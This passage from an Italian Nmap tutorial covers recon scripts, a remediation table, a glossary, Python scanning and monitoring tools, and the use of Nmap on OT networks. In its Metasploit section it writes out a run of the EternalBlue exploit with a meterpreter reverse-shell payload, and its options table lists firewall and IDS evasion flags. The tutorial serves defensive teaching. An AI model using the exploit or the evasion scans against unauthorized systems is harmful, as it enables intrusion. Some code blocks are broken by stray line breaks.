echo "[1] Tutte le porte TCP..."
sudo nmap -sS -p- -T4 --min-rate 1000 --open -oN tcp_all.txt "$TARGET"

# Step 2: Version detection sulle porte trovate
PORTS=$(grep "open" tcp_all.txt | awk -F/ '{print $1}' | tr ' ' '\n' | sed 's/,,$//')
echo "[2] Version detection su porte: $PORTS"
sudo nmap -sV -O -p "$PORTS" -oN version_scan.txt "$TARGET"

# Step 3: SSL/TLS (se 443 presente)
if grep -q "443/open" tcp_all.txt; then
    echo "[3] SSL/TLS analysis..."
    nmap -p 443 --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed -oN ssl_scan.txt "$TARGET"
fi

# Step 4: HTTP/HTTPS analysis
for port in 80 443 8080 8443; do
    if grep -q "${port}/open" tcp_all.txt; then
        echo "[4] HTTP analysis su porta $port..."
        nmap -p $port --script http-title,http-headers,http-methods,http-robots.txt,http-enum
    fi
done

# Step 5: Vulnerability check
echo "[5] Vulnerability check..."
nmap -p "$PORTS" --script "vuln and safe" -oN vuln_check.txt "$TARGET"

# Riepilogo
echo ""
echo "=== RISULTATI ==="
echo "Porte aperte: $PORTS"
grep "VULNERABLE" vuln_check.txt | head -5
echo "File: tcp_all.txt, version_scan.txt, ssl_scan.txt, vuln_check.txt"
```

10.4 Interpretare i risultati: dalla scan alla remediation

Cosa trovi	Priorità	Azione suggerita
SMB porta 445 + smb-vuln-ms17-010 = VULNERABLE	CRITICA	Patch immediata; isola il sistema; verifica altri host
MySQL porta 3306 aperta su IP pubblico	CRITICA	Chiudi l'accesso; bind a localhost o usa VPN/firewall
SSL Heartbleed = VULNERABLE	CRITICA	Aggiorna OpenSSL; rigenera certificati e chiavi private
FTP porta 21 con accesso anonimo	ALTA	Disabilita FTP anonimo o l'intero servizio FTP; usa SFTP
SNMP community string 'public'	ALTA	Cambia community string; usa SNMPv3 con autenticazione
Certificato SSL scaduto	ALTA	Rinnova il certificato; configura auto-renewal (Let's Encrypt)
Servizi con versioni molto vecchie	MEDIA	Pianifica aggiornamento; verifica CVE per quella versione
SSH algoritmi deboli (MD5, DH-1024)	MEDIA	Aggiorna configurazione SSH; usa Ed25519, ChaCha20
Porte aperte non documentate	MEDIA	Verifica a cosa servono; chiudi quelle non necessarie
Telnet (porta 23) aperta	ALTA	Disabilita Telnet; usa SSH con autenticazione a chiave
Redis/MongoDB senza autenticazione	CRITICA	Abilita autenticazione; bind a localhost
Docker API (porta 2375) esposta	CRITICA	Chiudi immediatamente; usare TLS su 2376

Fonti: OWASP Testing Guide (owasp.org/www-project-web-security-testing-guide/); PTES (pentest-standard.org); NVD NIST (nvd.nist.gov); exploit-db.com

11. GLOSSARIO E RIFERIMENTO RAPIDO

11.1 Glossario essenziale

Banner grabbing

Cattura del messaggio di benvenuto di un servizio di rete per identificarne il software e la versione. Nmap lo fa automaticamente durante il version detection (-sV).

CIDR (Classless Inter-Domain Routing)

Notazione per specificare range di indirizzi IP: 192.168.1.0/24 indica i 256 indirizzi da .0 a .255. La cifra dopo / indica quanti bit dell'indirizzo sono fissi.

CPE (Common Platform Enumeration)

Schema standardizzato per identificare software, hardware e sistemi operativi. Nmap include i CPE nell'output di version detection. Permette di correlare con database CVE per trovare vulnerabilità note.

CVE (Common Vulnerabilities and Exposures)

Identificatore univoco per vulnerabilità software. Formato: CVE-ANNO-NUMERO (es. CVE-2017-0144 = EternalBlue). Il database NVD di NIST (nvd.nist.gov) contiene tutti i CVE con metadati.

Fingerprinting

Processo di identificazione di un sistema (OS, applicazione, versione) analizzando le sue risposte di rete senza chiedergli direttamente le informazioni. Nmap usa TCP/IP fingerprinting per l'OS detection.

Firewall stateful

Firewall che mantiene una tabella dello stato delle connessioni. Sa quali connessioni sono state avviate e verifica che le risposte corrispondano a richieste legittime. Molto più efficace di un packet filter stateless contro le scan di Nmap.

Half-open scan

Sinonimo di SYN scan: non completa il three-way handshake. Nmap invia SYN, riceve SYN+ACK, risponde RST invece di ACK.

IDS/IPS

Intrusion Detection/Prevention System. Monitorano il traffico di rete cercando pattern di attacco o scansione. L'IDS segnala, l'IPS blocca anche attivamente il traffico sospetto.

MTU (Maximum Transmission Unit)

Dimensione massima di un pacchetto che può essere inviato su un link. Su Ethernet è tipicamente 1500 byte. Nmap usa --mtu per frammentare i pacchetti e potenzialmente eludere ispezioni firewall.

NSE (Nmap Scripting Engine)

Framework integrato in Nmap per eseguire script Lua. Gli script NSE estendono Nmap con rilevamento vulnerabilità, enumerazione, brute force e altro. 604+ script ufficiali disponibili in `/usr/share/nmap/scripts/`.

Pentest / Penetration Test

Test di penetrazione: attacco simulato e autorizzato a un sistema informatico per valutarne la sicurezza. Nmap è strumento standard nella fase di reconnaissance.

Port knocking

Tecnica di sicurezza: la porta (es. SSH) appare chiusa fino a quando non si 'bussa' a una sequenza specifica di porte. Rende la porta invisibile a qualsiasi scanner.

Raw socket

Socket di rete che permette di costruire pacchetti IP/TCP/UDP arbitrari, bypassando lo stack di rete del SO. Richiede privilegi root. Nmap li usa per le scan avanzate (SYN, FIN, XMAS).

RTT (Round-Trip Time)

Tempo impiegato da un pacchetto per andare al target e tornare. Nmap lo usa per calibrare i timeout delle scansioni.

SYN flood

Attacco DoS che invia migliaia di pacchetti SYN senza completare il three-way handshake, esaurendo le risorse del target. Non confondere con la SYN scan di Nmap, che è ben diversa.

Three-way handshake

Procedura in tre passi per aprire una connessione TCP: SYN (client) → SYN+ACK (server) → ACK (client). Solo dopo questo scambio i dati possono fluire.

TTL (Time To Live)

Campo nell'header IP decrementato di 1 ad ogni router attraversato. Quando raggiunge 0 il pacchetto viene scartato. Il valore iniziale varia per OS: Linux=64, Windows=128, Cisco=255.

Zombie host (idle scan)

Host con IP ID incrementale prevedibile usato nell'idle scan (-sI) come intermediario anonimo. Raro sui sistemi moderni che randomizzano l'IP ID.

11.2 Riferimento rapido: opzioni principali

Opzione	Funzione	Note
-sS	TCP SYN scan (stealth)	Root richiesto; default con root
-sT	TCP Connect scan	Funziona senza root; lascia log
-sU	UDP scan	Lenta; fondamentale per DNS/SNMP
-sN/-sF/-sX	NULL/FIN/XMAS scan	Non funziona su Windows
-sA	ACK scan	Mappa regole firewall
-sn	Solo host discovery (no porte)	Ping sweep
-Pn	Skip host discovery	Target sempre trattato come up
-sV	Version detection	Identifica software e versione
-O	OS detection	Root richiesto
-A	-O -sV -sC --traceroute	Scansione aggressiva completa
-sC / --script=default	Script NSE categoria default	Sicuri e informativi
--script nome	Script NSE specifico	Vedi nmap.org/nsedoc
-p porte	-p 22,80 / -p 1-1024 / -p-	Specifica porte
-F	Fast scan: top 100 porte	Rapido
--top-ports N	Top N porte	Basato su frequenza reale
-T0 ... -T5	Template timing	-T2 per OT; -T4 per LAN
-n	No DNS resolution	Più veloce
-v / -vv / -vvv	Verbose	Più dettagli in output
-oN file	Output normale	Leggibile da umano
-oX file	Output XML	Per parsing automatico
-oA base	Tutti e tre i formati	Genera .nmap + .xml + .gnmap
-D decoy	Decoy IP falsi	Confonde i log del target
-f	Frammenta pacchetti	Elude alcuni firewall
-g porta	Porta sorgente fissa	Es. -g 53 simula DNS
--data-length N	Aggiunge N byte ai pacchetti	Elude signature IDS

Opzione	Funzione	Note
--open	Mostra solo porte aperte	Output più compatto
--reason	Motivo dello stato	Spiega perché una porta è open/filtered
-iL file	Target da file	Un target per riga
--exclude IP	Escludi IP	Evita di scansionare host critici

11.3 Risorse per approfondire

Risorsa	URL	Cosa contiene
Nmap Book (gratuito)	nmap.org/book	Manuale completo ufficiale di Fyodor
NSE Documentation	nmap.org/nsedoc	Riferimento di tutti gli script NSE
Nmap Man Page	nmap.org/book/man.html	Tutte le opzioni con esempi
TryHackMe — Nmap	tryhackme.com/room/furthernmap	Laboratorio interattivo guidato
Hack The Box	hackthebox.com	Macchine vulnerabili per praticare
VulnHub	vulnhub.com	VM da scaricare per lab locali
NVD NIST	nvd.nist.gov	Database CVE per correlazione scan
Exploit-DB	exploit-db.com	Exploit per CVE rilevati
CISA ICS-CERT	cisa.gov/ics	Advisory sicurezza OT/ICS
Shodan	shodan.io	OSINT complementare — device esposti

"La sicurezza non è un prodotto, è un processo. Nmap è lo strumento; la comprensione dei protocolli è la chiave. Scansiona te stesso prima che lo faccia qualcun altro."

Fonti: nmap.org; nvd.nist.gov; owasp.org; tryhackme.com; hackthebox.com; vulnhub.com; cisa.gov/ics; exploit-db.com

11B. TEORIA DELLA SICUREZZA DI RETE

Nmap non è fine a se stesso: è uno strumento al servizio di un approccio metodico alla sicurezza di rete. Questa sezione approfondisce i concetti teorici fondamentali — superficie di attacco, modello di minaccia, defense-in-depth — che danno senso a ogni decisione operativa sull'uso di Nmap.

11B.1 La superficie di attacco

Definizione — Superficie di attacco

La superficie di attacco di un sistema è l'insieme di tutti i punti attraverso cui un attaccante potrebbe tentare di entrare o estrarre dati. Per una rete, comprende: ogni porta aperta, ogni servizio in ascolto, ogni protocollo abilitato, ogni interfaccia di management, ogni credenziale valida. Nmap misura direttamente e concretamente la superficie di attacco esposta da un host o da una rete.

Il principio di **minima superficie di attacco** è uno dei fondamenti della sicurezza: ogni servizio non necessario dovrebbe essere disabilitato, ogni porta non usata dovrebbe essere chiusa, ogni protocollo obsoleto dovrebbe essere rimosso. Nmap permette di verificare sistematicamente il rispetto di questo principio.

Elemento di superficie	Come Nmap lo rileva	Riduzione consigliata
Porte TCP aperte	Port scan (-sS, -sT)	Chiudi tutto il non necessario con firewall
Servizi con versioni obsolete	Version detection (-sV)	Aggiorna o disabilita il servizio
Protocolli insicuri (Telnet, FTP)	Version detection + NSE	Migra a SSH, SFTP, HTTPS
Autenticazione assente	NSE (ftp-anon, mysql-empty-password, redis-info)	Abilita autenticazione; cambia credenziali default
Porte UDP esposte	UDP scan (-sU)	Chiudi servizi UDP non necessari
Servizi di management esposti	Port scan + NSE	Limita accesso a IP specifici; usa VPN
Versioni SSL/TLS deboli	NSE ssl-enum-ciphers	Aggiorna configurazione TLS; disabilita SSLv2/v3

11B.2 Il modello CIA e come Nmap vi si inserisce

Il modello CIA (Confidentiality, Integrity, Availability) è il framework concettuale fondamentale della sicurezza informatica. Ogni controllo di sicurezza si può classificare rispetto a quale dei tre pilastri protegge:

Pilastro	Definizione	Come Nmap contribuisce
Confidenzialità	I dati sono accessibili solo a chi è autorizzato	Rileva servizi che espongono dati senza autenticazione (FTP anonimo, Redis, MongoDB, Elasticsearch senza auth). Identifica versioni con CVE di information disclosure.

Pilastro	Definizione	Come Nmap contribuisce
Integrità	I dati non vengono modificati in modo non autorizzato	Rileva servizi con vulnerabilità RCE che permetterebbero a un attaccante di modificare dati (EternalBlue, Shellshock). Identifica protocolli senza integrità (Modbus, Telnet).
Disponibilità	I sistemi sono accessibili quando necessario	Identifica servizi esposti che potrebbero essere target di DoS. Monitora cambiamenti nella topologia che indicano problemi di disponibilità (host spariti, porte chiuse inaspettatamente).

11B.3 Defense-in-depth: la difesa a strati

Il principio di **defense-in-depth** (difesa a strati) stabilisce che nessun singolo controllo di sicurezza è sufficiente: ci devono essere più livelli di difesa indipendenti, in modo che la compromissione di uno non comprometta l'intero sistema.

Nmap è parte integrante di questo approccio: permette di verificare che ogni strato di difesa funzioni come atteso.

Strato di difesa	Verifica con Nmap	Cosa cercare
Perimetro (firewall esterno)	Scan dall'esterno della rete	Solo i servizi autorizzati devono essere raggiungibili dall'internet
Segmentazione interna (VLAN)	Scan tra VLAN diverse	Il traffico tra zone non dovrebbe passare liberamente
Host firewall (iptables, UFW)	Scan diretto all'host	Ogni host deve accettare solo il traffico per i suoi servizi
Configurazione servizi	NSE + version detection	Versioni aggiornate; autenticazione abilitata; no credenziali default
Monitoraggio e rilevamento	Scan controllata per testare IDS/SIEM	Una scan Nmap deve generare alert nel SIEM entro X minuti

11B.4 Il ciclo PDCA applicato alla sicurezza di rete

Il ciclo **PDCA** (Plan-Do-Check-Act) è un metodo di miglioramento continuo applicabile anche alla gestione della sicurezza di rete. Nmap si inserisce in ogni fase:

Plan (Pianifica)

Definisci lo scope: quali subnet, quali host, quali porte. Prepara il comando Nmap appropriato. Ottieni le autorizzazioni necessarie. Pianifica in orari a basso impatto.

Do (Esegui)

Esegui la scansione con i parametri pianificati. Salva l'output in tutti i formati (-oA). Calcola l'hash SHA256 dell'XML per l'integrità dell'evidenza.

Check (Verifica)

Analizza i risultati: nuovi host, nuove porte, versioni obsolete. Usa Ndiff per confrontare con la scan precedente. Correla le versioni con il database CVE (nvd.nist.gov).

Act (Agisci)

Prioritizza la remediation in base alla severità. Applica patch, chiudi porte, aggiorna configurazioni. Pianifica una nuova scan di verifica post-remediation.

Fonti: NIST SP 800-30 (Risk Assessment); ISO/IEC 27005 (Information Security Risk Management); OWASP (owasp.org); CIS Controls v8 (cisecurity.org/controls)

12. AUTOMAZIONE CON PYTHON

Nmap da riga di comando è potente, ma diventa ancora più utile quando integrato in script Python: si possono costruire pipeline automatizzate di scoperta, analisi e reportistica, schedulare audit periodici e correlare i risultati con altri sistemi (ticketing, SIEM, CMDB). La libreria **python-nmap** è il wrapper più usato per questo scopo.

12.1 Come funziona python-nmap

python-nmap: un wrapper, non un reimplementazione

python-nmap non reimplementa la logica di scansione di Nmap: si limita a richiamare il binario nmap installato sul sistema, catturarne l'output XML e trasformarlo in dizionari Python facilmente navigabili. Questo significa che tutte le funzionalità di Nmap (NSE, raw socket, OS detection) restano disponibili — semplicemente viene aggiunto un layer Python per costruire i comandi e parsare i risultati.

■ PYTHON | python-nmap: installazione e utilizzo base

Installazione

```
pip install python-nmap
```

Verifica (Nmap deve essere installato sul sistema)

```
python3 -c "import nmap; print(nmap.__version__)"
```

Flusso di base:

```
# 1) Crea istanza PortScanner
```

```
# 2) Chiama .scan() con host, porte e argomenti nmap
```

```
# 3) Naviga il dizionario risultante con host/protocollo/porta
```

```
import nmap
```

```
nm = nmap.PortScanner()
```

```
nm.scan(hosts='192.168.1.1', ports='22,80,443', arguments='-sV -T4')
```

```
for host in nm.all_hosts():
```

```
    print(f"Host: {host} Stato: {nm[host].state()}")
```

```
    for proto in nm[host].all_protocols():
```

```
        for port in sorted(nm[host][proto].keys()):
```

```
            info = nm[host][proto][port]
```

```
            print(f" {port}/{proto} {info['state']:8s} "
```

```
                  f"{info.get('product','')} {info.get('version','')}")
```

12.2 Scanner di rete con report

■ TEORIA

Un buon script di automazione separa nettamente tre fasi: 1) Acquisizione: esegue la scansione 2) Elaborazione: struttura i dati in modo utile 3) Output: genera report in formato leggibile o machine-readable. Il formato JSON è ideale per l'archiviazione e l'integrazione con altri sistemi. Il CSV è più adatto per l'analisi in Excel. L'HTML è il migliore per la presentazione a stakeholder non tecnici.

■ PRATICA — Scanner con output JSON e CSV

```
import nmap, json, csv
from datetime import datetime

def scan_and_report(target, ports="1-1024"):
    nm = nmap.PortScanner()
    nm.scan(hosts=target, ports=ports,
            arguments="-sS -sV -O -T4", sudo=True)

    results = []
    for host in nm.all_hosts():
        if nm[host].state() != "up": continue
        os_name = ""
        if nm[host].get("osmatch"):
            os_name = nm[host]["osmatch"][0]["name"]

        for proto in nm[host].all_protocols():
            for port, p in nm[host][proto].items():
                if p["state"] != "open": continue
                results.append({
                    "ip": host,
                    "hostname": nm[host].hostname(),
                    "os": os_name,
                    "port": port,
                    "proto": proto,
                    "service": p.get("name", ""),
                    "product": p.get("product", ""),
                    "version": p.get("version", ""),
                })

    return results

# Esegui e salva
data = scan_and_report("192.168.1.0/24")

# JSON
with open("scan.json", "w") as f:
    json.dump(data, f, indent=2)

# CSV
with open("scan.csv", "w", newline="") as f:
    w = csv.DictWriter(f, fieldnames=data[0].keys())
    w.writeheader(); w.writerows(data)

print(f"Trovate {len(data)} porte aperte")
```

12.3 Vulnerability scanner automatizzato

■ PYTHON | vuln_check.py — scanner vulnerabilità automatizzato con python-nmap

```
#!/usr/bin/env python3
"""
vuln_check.py – Verifica automatica vulnerabilità note via NSE.
Uso: sudo python3 vuln_check.py --target 192.168.1.0/24
"""

import nmap, json, argparse
from datetime import datetime

# Definizione controlli di sicurezza
CHECKS = [
    {"name": "EternalBlue (CVE-2017-0144)",
     "port": 445, "proto": "tcp",
     "script": "smb-vuln-ms17-010",
     "severity": "CRITICA",
     "desc": "RCE su SMB v1 – usato da WannaCry"},
    {"name": "Heartbleed (CVE-2014-0160)",
     "port": 443, "proto": "tcp",
     "script": "ssl-heartbleed",
     "severity": "CRITICA",
     "desc": "Memory disclosure OpenSSL – espone chiavi private"},
    {"name": "FTP Anonimo",
     "port": 21, "proto": "tcp",
     "script": "ftp-anon",
     "severity": "ALTA",
     "desc": "Accesso FTP senza credenziali"},
    {"name": "MySQL senza password",
     "port": 3306, "proto": "tcp",
     "script": "mysql-empty-password",
     "severity": "CRITICA",
     "desc": "Database MySQL accessibile senza autenticazione"},
    {"name": "SNMP community 'public'",
     "port": 161, "proto": "udp",
     "script": "snmp-brute",
     "severity": "ALTA",
     "desc": "SNMP espone informazioni di sistema senza auth"},
    {"name": "Redis senza auth",
     "port": 6379, "proto": "tcp",
     "script": "redis-info",
     "severity": "CRITICA",
     "desc": "Database Redis accessibile senza password"},
]

def run_check(target, check):
    nm = nmap.PortScanner()
    port = str(check["port"])
    scan_args = f"-sV --script {check['script']} -T4"
    if check["proto"] == "udp":
        scan_args = f"-sU --script {check['script']} -T4"

    nm.scan(hosts=target, ports=port,
            arguments=scan_args, sudo=True)

    findings = []
    for host in nm.all_hosts():
        proto = check["proto"]
```

```

    p = int(check["port"])
    if proto not in nm[host]: continue
    if p not in nm[host][proto]: continue
    if nm[host][proto][p]["state"] != "open": continue

    scripts = nm[host][proto][p].get("script", {})
    output = scripts.get(check["script"], "")

    is_vuln = (
        "VULNERABLE" in output.upper() or
        "Anonymous FTP login allowed" in output or
        ("redis_version" in output and check["script"] == "redis-info")
    )
    if is_vuln:
        findings.append({
            "host": host,
            "vuln": check["name"],
            "severity": check["severity"],
            "desc": check["desc"],
            "output": output[:300],
        })
    return findings

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--output", default="vuln_report.json")
    args = parser.parse_args()

    all_findings = []
    for check in CHECKS:
        print(f"[*] Verifica: {check['name']}...", end=" ", flush=True)
        found = run_check(args.target, check)
        if found:
            print(f"[!] TROVATE {len(found)} vulnerabilità!")
            all_findings.extend(found)
        else:
            print("OK")

    print(f"
=== RIEPILOGO: {len(all_findings)} vulnerabilità trovate ===")
    critiche = [f for f in all_findings if f["severity"] == "CRITICA"]
    alte = [f for f in all_findings if f["severity"] == "ALTA"]
    print(f" Critiche: {len(critiche)} | Alte: {len(alte)}")

    for f in all_findings:
        print(f"
[{f['severity']}] {f['vuln']} su {f['host']}")
        print(f" {f['desc']}")

    with open(args.output, "w") as fh:
        json.dump({
            "target": args.target,
            "timestamp": datetime.now().isoformat(),
            "total": len(all_findings),
            "findings": all_findings

```



```
        }, fh, indent=2)
    print(f"
[✓] Report: {args.output}")

if __name__ == "__main__":
    main()
```

12.4 Monitoraggio continuo con alert

■ PYTHON | net_monitor.py — monitoraggio continuo con rilevamento cambiamenti e alert email

```
#!/usr/bin/env python3
"""
net_monitor.py – Monitora la rete ogni ora e avvisa sui cambiamenti.
Nuovi host, nuove porte, host spariti → email di alert.
Dipendenze: pip install python-nmap
"""

import nmap, json, time, smtplib
from pathlib import Path
from datetime import datetime
from email.mime.text import MIMEText

STATE_FILE = "net_state.json"
INTERVAL = 3600 # 1 ora
TARGET = "192.168.1.0/24"
ALERT_TO = "security@azienda.local"

def snapshot(target):
    nm = nmap.PortScanner()
    nm.scan(hosts=target,
            arguments="-sS -sV -T4 --top-ports 100", sudo=True)
    state = {}
    for host in nm.all_hosts():
        if nm[host].state() != "up": continue
        ports = {}
        for proto in nm[host].all_protocols():
            for port, p in nm[host][proto].items():
                if p["state"] == "open":
                    svc = f"{p.get('product', '')} {p.get('version', '')}".strip()
                    ports[f"{port}/{proto}"] = svc or p.get("name", "")
        state[host] = {"hostname": nm[host].hostname(), "ports": ports}
    return state

def diff(old, new):
    changes = []
    for h in new:
        if h not in old:
            changes.append(f"■ NUOVO HOST: {h} ({new[h]['hostname']})")
            for p, svc in new[h]["ports"].items():
                changes.append(f"    → {p} {svc}")
        else:
            for p in new[h]["ports"]:
                if p not in old[h]["ports"]:
                    changes.append(
                        f"■ NUOVA PORTA: {h}:{p} "
                        f"{new[h]['ports'][p]}")
    for h in old:
        if h not in new:
            changes.append(f"■ HOST SPARITO: {h} ({old[h]['hostname']})")
    return changes

def send_alert(changes):
    body = "
".join(changes)
    msg = MIMEText(body)
    msg["Subject"] = f"[NET-MONITOR] {len(changes)} cambiamenti"
```

```
msg["From"] = "monitor@azienda.local"
msg["To"] = ALERT_TO
try:
    with smtplib.SMTP("localhost") as s:
        s.send_message(msg)
except Exception as e:
    print(f"[!] Email fallita: {e}")

print(f"[*] Avvio monitoraggio: {TARGET} ogni {INTERVAL}s")
while True:
    ts = datetime.now().strftime("%H:%M:%S")
    print(f"[{ts}] Scansione...", end=" ")
    old = json.loads(Path(STATE_FILE).read_text()) if Path(STATE_FILE).exists() else {}
    new = snapshot(TARGET)
    changes = diff(old, new)

    if changes:
        print(f"{len(changes)} cambiamenti!")
        for c in changes: print(f"  {c}")
        send_alert(changes)
    else:
        print("Nessun cambiamento.")

    Path(STATE_FILE).write_text(json.dumps(new, indent=2))
    time.sleep(INTERVAL)
```

Fonti: [python-nmap: xael.org/pages/python-nmap.html](http://python-nmap.xael.org/pages/python-nmap.html); docs.python.org/3/; github.com/nmmapper/python3-nmap (alternativa moderna)

13. INTEGRAZIONE: METASPLOIT E WIRESHARK

Nmap non lavora mai da solo in un penetration test professionale: i suoi risultati alimentano altri strumenti. Metasploit utilizza l'output XML di Nmap per contestualizzare gli exploit. Wireshark permette di vedere esattamente cosa fa Nmap a livello di pacchetti, essenziale per capire le tecniche e per il troubleshooting.

13.1 Perché integrare Nmap e Metasploit

Metasploit Framework è la piattaforma di exploitation più diffusa. Il suo database interno (PostgreSQL) memorizza host, servizi e vulnerabilità. Importare i risultati di una scansione Nmap in Metasploit permette di:

- Avere un inventario strutturato degli host e dei loro servizi
- Cercare e lanciare exploit direttamente sui servizi identificati
- Tenere traccia di quali sistemi sono stati testati e con quali risultati
- Generare report strutturati del penetration test

■ BASH | Workflow Nmap → Metasploit: import XML e db_nmap

[illegible]

```
# Step 1: Salva scan Nmap in formato XML
sudo nmap -sV -O -oX scan_lan.xml 192.168.1.0/24

# Step 2: Avvia Metasploit (con database PostgreSQL attivo)
msfdb init # inizializza il DB (solo la prima volta)
msfconsole

# Step 3: Importa risultati Nmap nel database MSF
msf6> db_import /path/to/scan_lan.xml
# Output: Importing 'Nmap XML' data
# Successfully imported /path/to/scan_lan.xml

# Step 4: Consulta il database
msf6> hosts # lista tutti gli host
msf6> hosts -c address,os_name,purpose # colonne specifiche
msf6> services # lista tutti i servizi
msf6> services -p 445 # solo servizi su porta 445
msf6> services -S smb # cerca per nome servizio

# Step 5: Esegui Nmap direttamente da Metasploit
# (salva automaticamente nel database)
msf6> db_nmap -sV -O 192.168.1.0/24

# Step 6: Cerca exploit per servizi trovati
msf6> search ms17-010 # cerca moduli EternalBlue
msf6> search type:exploit name:smb # tutti gli exploit SMB

# Step 7: Usa un exploit su host vulnerabile trovato da Nmap
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100 # host vulnerabile
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50 # tua macchina
msf6> run
```

■ **SOLO USO AUTORIZZATO** L'uso di Metasploit per exploitation reale richiede autorizzazione scritta esplicita. L'esecuzione di exploit non autorizzati è un reato grave in ogni giurisdizione.

13.2 Wireshark: vedere cosa fa Nmap

Wireshark è l'analizzatore di protocolli più usato al mondo. Usarlo insieme a Nmap ha un doppio valore: didattico (capire a fondo come funzionano le tecniche di scansione vedendo i pacchetti reali) e operativo (troubleshooting, verifica che la scansione stia producendo il traffico atteso).

■ TEORIA

Per catturare il traffico di una scansione Nmap: 1) Avvia tcpdump o Wireshark su un terminale 2) Esegui Nmap dall'altro terminale 3) Analizza il file .pcap catturato I filtri Wireshark più utili per analizzare scansioni Nmap: - tcp.flags.syn==1 && tcp.flags.ack==0 → vedi i SYN della scan - tcp.flags.reset==1 → vedi i RST (porte chiuse) - tcp.flags.syn==1 && tcp.flags.ack==1 → porte aperte - icmp → traffico ICMP (host discovery, UDP responses)

■ PRATICA — Cattura e analisi con tcpdump/Wireshark

```
# Terminale 1: avvia cattura
sudo tcpdump -i eth0 host 192.168.1.1 -w scan.pcap

# Terminale 2: esegui Nmap
sudo nmap -sS -sV -p 22,80,443 192.168.1.1

# Terminale 1: ferma con Ctrl+C
# Apri pcap in Wireshark:
wireshark scan.pcap

# Filtri Wireshark utili:
# SYN scan (scansione SYN in uscita):
tcp.flags.syn==1 && tcp.flags.ack==0

# Porte aperte (SYN+ACK in risposta):
tcp.flags.syn==1 && tcp.flags.ack==1

# Porte chiuse (RST):
tcp.flags.reset==1

# Tutto il traffico verso la porta 80:
tcp.dstport == 80

# Analisi da riga di comando con tshark:
tshark -r scan.pcap -q -z conv,tcp # statistiche TCP
```

13.3 Parsing dell'output XML con Python

■ PYTHON | parse_xml.py — parser XML Nmap con report HTML colorato

```
#!/usr/bin/env python3
"""
parse_xml.py — Parsa XML Nmap e genera report HTML leggibile.
Uso: python3 parse_xml.py scan.xml
"""

import xml.etree.ElementTree as ET
import sys
from datetime import datetime

def parse_nmap_xml(xml_file):
    root = ET.parse(xml_file).getroot()
    hosts = []
    for host_el in root.findall("host"):
        status = host_el.find("status")
        if status is None or status.get("state") != "up":
            continue

        ip = host_el.find("address").get("addr", "")
        hostname = ""
        hn = host_el.find("hostnames/hostname")
        if hn is not None: hostname = hn.get("name", "")

        os_name = ""
        om = host_el.find("os/osmatch")
        if om is not None: os_name = om.get("name", "")

        open_ports = []
        for port_el in host_el.findall("ports/port"):
            state_el = port_el.find("state")
            if state_el is None or state_el.get("state") != "open":
                continue
            svc_el = port_el.find("service")
            svc = {}
            if svc_el is not None:
                svc = {
                    "name": svc_el.get("name", ""),
                    "product": svc_el.get("product", ""),
                    "version": svc_el.get("version", ""),
                }
            open_ports.append({
                "port": port_el.get("portid"),
                "proto": port_el.get("protocol"),
                "service": svc,
            })
        hosts.append({"ip": ip, "hostname": hostname,
                      "os": os_name, "ports": open_ports})
    return hosts

def to_html(hosts, out="report.html"):
    rows = ""
    for h in hosts:
        os_str = h["os"][:50] if h["os"] else "N/A"
        if h["ports"]:
            for p in h["ports"]:
                svc = p["service"]
```

```

        ver = f"{svc.get('product', '')} {svc.get('version', '')}".strip()
        rows += (f"<tr><td>{h['ip']}

```

Fonti: metasploit.com; docs.metasploit.com; wireshark.org/docs/; [tshark \(wireshark.org/docs/man-pages/tshark/\)](https://tshark.wireshark.org/docs/man-pages/tshark/); docs.python.org/3/library/xml.etree.elementtree.html

14. NMAP SU RETI OT/ICS INDUSTRIALI

Le reti industriali (OT — Operational Technology) presentano sfide specifiche per l'uso di Nmap: dispositivi con stack TCP/IP limitati, protocolli proprietari, vincoli di disponibilità stringenti. Questa sezione tratta sia la teoria dei protocolli industriali sia le pratiche sicure per l'uso di Nmap in questi ambienti.

14.1 Differenze fondamentali tra reti IT e OT

Aspetto	Reti IT	Reti OT/ICS
Priorità principale	Confidenzialità e integrità	Disponibilità e sicurezza fisica (safety)
Tolleranza ai downtime	Alta (patch e riavvii frequenti)	Quasi zero (processi continui)
Ciclo di vita dispositivi	3-5 anni	15-30 anni (PLC, RTU, DCS)
Sistema operativo tipico	Windows Server, Linux moderni	Windows XP/2003, firmware proprietari, real-time OS
Patch management	Frequente e automatizzato	Raro, pianificato in fermate di manutenzione
Stack TCP/IP	Completo e robusto	Spesso limitato, non conforme agli standard moderni
Risposta a traffico anomalo	Log e alert	Possibile crash, freeze, comportamento imprevedibile
Protocolli principali	HTTP, TCP/IP, TLS	Modbus, S7, DNP3, OPC-UA, EtherNet/IP, BACnet

■ **ATTENZIONE** La differenza più critica per chi usa Nmap su reti OT: un PLC o un RTU che va in crash per effetto di una scansione aggressiva può fermare una linea di produzione o compromettere la sicurezza di un impianto. Le conseguenze non sono solo economiche — in impianti critici (acqua, energia, petrolio) possono essere fisicamente pericolose.

14.2 Protocolli industriali: cosa cerca Nmap

I protocolli industriali hanno caratteristiche molto diverse da quelli IT: spesso non hanno autenticazione nativa, sono stati progettati per ambienti fisicamente isolati (air-gap), e oggi si trovano esposti su reti IP a causa della convergenza IT/OT.

Protocollo	Porta	Categoria	Caratteristiche di sicurezza
Modbus/TCP	502/TCP	SCADA generico	Nessuna autenticazione; nessuna cifratura; comandi diretti all'hardware
Siemens S7	102/TCP	PLC Siemens	Protocollo proprietario; versioni recenti hanno autenticazione
OPC-UA	4840/TCP	Standard IEC	Autenticazione e cifratura opzionali ma supportati

Protocollo	Porta	Categoria	Caratteristiche di sicurezza
EtherNet/IP (CIP)	44818/TCP	Allen-Bradley (Rockwell)	Autenticazione limitata; ampiamente diffuso
DNP3	20000/TCP	Utilities (elettrico, acqua)	Autenticazione opzionale (DNP3 SAV5); molti impianti legacy senza
BACnet/IP	47808/UDP	Building automation	Nessuna autenticazione nativa in BACnet/IP base
IEC 61850	102/TCP	Energia elettrica	Standard moderno con TLS supportato
PROFINET	Vario/UDP	Siemens/produzion e	Layer 2 (non routable); su IP solo con gateway

14.3 Regole d'oro per Nmap su reti OT

Prima di qualsiasi scansione su una rete industriale, è necessario seguire un protocollo rigoroso:

- 1. Autorizzazione scritta e coordinamento OT:** non operare mai senza il consenso esplicito del responsabile OT. La sicurezza informatica non può compromettere la sicurezza fisica dell'impianto.
